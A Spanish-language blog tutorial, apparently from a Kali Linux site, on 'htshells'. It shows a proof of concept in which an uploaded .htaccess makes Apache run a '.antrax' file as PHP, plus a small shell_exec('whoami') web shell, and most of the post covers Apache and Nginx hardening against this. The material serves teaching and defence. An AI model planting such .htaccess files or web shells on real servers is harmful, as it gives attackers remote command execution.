Kali Linux: Htshells y Seguridad Web

https://www.onlinetis.com

Kali Linux: Htshells y Seguridad Web

Entiendo que estás explorando las herramientas de Kali Linux, específicamente las htshells. Es un tema fascinante pero que requiere precisión, ya que estas herramientas son poderosas para las auditorías de seguridad.

En resumen, las htshells son una colección de archivos de configuración (como .htaccess) que permiten ejecutar código o realizar acciones de "shell" en servidores web mediante la manipulación de las reglas de configuración del servidor (generalmente Apache).


¿Qué son y para qué sirven las htshells?

Normalmente, un archivo .htaccess se usa para redirecciones o control de acceso. Sin embargo, en un entorno de Pentesting, las htshells se utilizan para:

  1. Ejecución de código: Obligar al servidor a tratar un archivo de texto o una imagen como un script ejecutable (por ejemplo, PHP).

  2. Evasión de restricciones: Saltar filtros de subida de archivos que bloquean extensiones comunes.

  3. Persistencia: Mantener acceso a un servidor web de forma discreta.

Ubicación en Kali Linux

Si tienes instalado el paquete webshells en tu sistema, generalmente puedes encontrar estos recursos en el siguiente directorio:

/usr/share/webshells/htshells/

Ejemplo de funcionamiento

Imagina un servidor que solo permite subir imágenes (.jpg). Un atacante podría subir un archivo .htaccess modificado que le diga al servidor: "Cualquier archivo llamado 'foto.jpg' debe ser ejecutado como si fuera PHP".

$$\text{AddType application/x-httpd-php .jpg}$$

Consideraciones de Seguridad

  • Uso Ético: Estas herramientas solo deben usarse en entornos controlados o bajo autorización explícita (contratos de Pentesting).

  • Detección: Los WAF (Web Application Firewalls) modernos y los sistemas de detección de intrusos suelen bloquear la carga de archivos .htaccess.

  • Remediación: Para proteger un servidor, se debe configurar la directiva AllowOverride None para evitar que los usuarios carguen sus propios archivos de configuración.

    Vamos a desglosar una Prueba de Concepto (PoC) básica para entender cómo un archivo .htaccess puede comprometer un servidor web.

    Imagina un escenario donde un servidor permite subir imágenes, pero prohíbe archivos .php. El objetivo es "engañar" al servidor para que ejecute código PHP escondido en otro formato.


    Paso 1: El entorno de laboratorio

    Para esto necesitarías:

    1. Atacante: Kali Linux.

    2. Víctima: Un servidor web (Apache) con AllowOverride All habilitado (esta es la vulnerabilidad clave).

    3. Carpeta de subida: Un directorio donde tengas permisos de escritura.

    Paso 2: Creación de la htshell

    En tu terminal de Kali, crearías un archivo .htaccess con una instrucción específica. Esta instrucción le dice al servidor que trate los archivos .antrax (o cualquier extensión inventada) como ejecutables de PHP:

    Apache
    # Archivo .htaccess
    AddType application/x-httpd-php .antrax
    

    Paso 3: El "Payload" (La carga útil)

    Ahora creas un archivo llamado exploit.antrax. Dentro de él, pones código PHP real:

    PHP
    <?php
      // Esto ejecutará el comando 'whoami' en el servidor
      echo shell_exec('whoami');
    ?>
    

    Paso 4: La ejecución

    1. Subes el archivo .htaccess al servidor.

    2. Subes el archivo exploit.antrax.

    3. Accedes desde tu navegador a http://servidor.com/uploads/exploit.antrax.

    Resultado: En lugar de ver el código como texto o un error, el servidor te devolverá el nombre del usuario que ejecuta el servicio web (ej. www-data), confirmando que tienes ejecución remota de comandos (RCE).


    ¿Por qué funciona esto?

    El servidor Apache lee el archivo .htaccess en cada solicitud. Al redefinir el AddType, cambias las reglas del juego en ese directorio específico.

    ¿Cómo prevenirlo? (La parte ética)

    Para evitar que esto pase en un servidor real, debes configurar el archivo principal de Apache (httpd.conf o apache2.conf) de la siguiente manera:

    • Desactivar overrides: Cambiar AllowOverride All a AllowOverride None.

    • Restringir archivos: Impedir que se suban archivos que empiecen por punto (.).

    Dado que Apache y Nginx manejan la configuración de forma muy distinta (Apache usa .htaccess y Nginx no), aquí tienes los pasos para ambos.


    1. Configuración en Apache (El más común para htshells)

    En Apache, el objetivo es anular la jerarquía de archivos y endurecer los permisos de las carpetas de subida.

    Paso A: Desactivar overrides globalmente

    Edita tu archivo de configuración principal (ej. /etc/apache2/apache2.conf o /etc/httpd/conf/httpd.conf):

    Apache
    <Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
    </Directory>
    

    Nota: Al poner AllowOverride None, el servidor ignorará cualquier archivo .htaccess que un atacante logre subir.

    Paso B: Bloqueo específico en carpetas de subida

    Si necesitas usar .htaccess en otras partes del sitio, protege específicamente tu carpeta de imágenes o archivos:

    Apache
    <Directory "/var/www/html/uploads">
        # Deshabilita la ejecución de cualquier script
        php_admin_value engine off
        Options -ExecCGI -Indexes
        
        # Denegar acceso a cualquier archivo con extensiones peligrosas
        <FilesMatch "\.(php|phtml|php3|php4|php5|phps|pl|py|jsp|asp|sh|cgi)$">
            Require all denied
        </FilesMatch>
    </Directory>
    

    2. Configuración en Nginx (Más seguro por defecto)

    Nginx es inherentemente más resistente a las htshells porque no lee archivos de configuración dentro de las carpetas de datos (no existe el concepto de .htaccess). Sin embargo, un atacante podría intentar subir un .php y ejecutarlo directamente.

    Bloqueo de ejecución en directorios

    En tu archivo de sitio (ej. /etc/nginx/sites-available/default), añade una regla para tus carpetas de contenido estático:

    Nginx
    location /uploads/ {
        # Evita que se procesen archivos PHP en esta ruta
        location ~ \.php$ {
            deny all;
        }
    }
    

    3. Verificación de Permisos (Hardening de sistema)

    Independientemente del servidor, los permisos de archivos son tu última línea de defensa. El usuario www-data (o apache) no debe ser el dueño de los archivos que sirve.

    1. Cambiar el dueño a root o a tu usuario de despliegue:

      sudo chown -R usuario:www-data /var/www/html

    2. Asegurar que los archivos no sean editables por el servidor:

      sudo find /var/www/html -type f -exec chmod 644 {} \;

      sudo find /var/www/html -type d -exec chmod 755 {} \;


    Resumen de Seguridad

    • Apache: Usa AllowOverride None.

    • Nginx: Ya es seguro, pero bloquea location ~ \.php$ en carpetas de subida.

    • Sistema: Mantén los archivos con permisos de solo lectura para el servidor web.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux